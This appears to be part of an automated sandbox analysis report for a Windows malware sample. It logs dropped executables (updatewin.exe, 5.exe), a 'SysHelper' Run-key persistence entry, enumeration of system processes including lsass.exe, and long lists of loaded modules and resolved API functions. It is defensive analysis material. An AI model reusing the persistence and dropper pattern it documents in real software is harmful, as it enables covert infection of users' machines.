Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe size = 7680 True 1
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe size = 10240 True 40
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe size = 6656 True 1
Fn
Data
Registry (7)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (55)
»
Operation Process Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe show_window = SW_SHOWNORMAL True 1
Fn
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files\internet explorer\consists.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\combat_zum.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows photo viewer\inch_allocated.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\tired_accessibility_tie.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\elephant.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\size_magnetic.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\namely.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\microsoft office\peter simply interfaces.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft analysis services\comply_holdings_miami.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\microsoft visual studio 8\pills.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\dvd maker\fascinating.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\dvd maker\architectural.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\reference assemblies\integrating-prev.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\interact_mixture_famous.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\dvd maker\dreams personality.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\failure.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\generation_prints_boutique.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\loves.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows nt\hiring.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\humanity maximum.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\constructed.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\contractors-latinas-why.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\mobsync.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (290)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 3
Fn
Load RPCRT4.dll base_address = 0x75ee0000 True 1
Fn
Load MPR.dll base_address = 0x74b30000 True 1
Fn
Load WININET.dll base_address = 0x753d0000 True 1
Fn
Load WINMM.dll base_address = 0x74af0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x75220000 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x74b50000 True 1
Fn
Load WS2_32.dll base_address = 0x75bc0000 True 1
Fn
Load DNSAPI.dll base_address = 0x74a80000 True 1
Fn
Load CRYPT32.dll base_address = 0x759b0000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Load Shell32.dll base_address = 0x75fd0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 2
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeW, address_out = 0x75f01635 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringW, address_out = 0x75f21ee5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringA, address_out = 0x75f5d918 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeA, address_out = 0x75f23fc5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidCreate, address_out = 0x75eff48b True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x74b32dd6 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumW, address_out = 0x74b32f06 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceW, address_out = 0x74b33058 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlW, address_out = 0x7544be5c True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlA, address_out = 0x754130f1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpQueryInfoW, address_out = 0x753f5c75 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenW, address_out = 0x753f9197 True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74af26e0 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindExtensionW, address_out = 0x7535a1b9 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindFileNameW, address_out = 0x7535bb71 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsW, address_out = 0x753545bf True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendA, address_out = 0x7534d65e True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDrives, address_out = 0x76c35371 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OpenProcess, address_out = 0x76c31986 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemDirectoryW, address_out = 0x76c35063 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryW, address_out = 0x76c3492b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageW, address_out = 0x76c34620 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynW, address_out = 0x76c5d556 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcmpW, address_out = 0x76c35929 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSizeEx, address_out = 0x76c359e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventW, address_out = 0x76c3183e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatW, address_out = 0x76c5828e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FatalAppExitA, address_out = 0x76cb4691 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetPriorityClass, address_out = 0x76c4cf28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeProcess, address_out = 0x76c4174d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryA, address_out = 0x76c5d526 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoW, address_out = 0x76c33c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocale, address_out = 0x76c4ce46 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76c33da5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76cb425f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatW, address_out = 0x76c534d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatW, address_out = 0x76c4f481 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringW, address_out = 0x76c33bca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadConsoleW, address_out = 0x76cd739a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OutputDebugStringW, address_out = 0x76c5d1d4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleCtrlHandler, address_out = 0x76c38a09 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AreFileApisANSI, address_out = 0x76cb40d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThread, address_out = 0x76c317ec True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x76c3e331 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = IsWindow, address_out = 0x74f57136 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageW, address_out = 0x74f605ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostThreadMessageW, address_out = 0x74f58bff True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxW, address_out = 0x74fafd3f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextW, address_out = 0x74d4df14 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenSCManagerW, address_out = 0x74d4ca64 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenServiceW, address_out = 0x74d4ca4c True 1
Fn
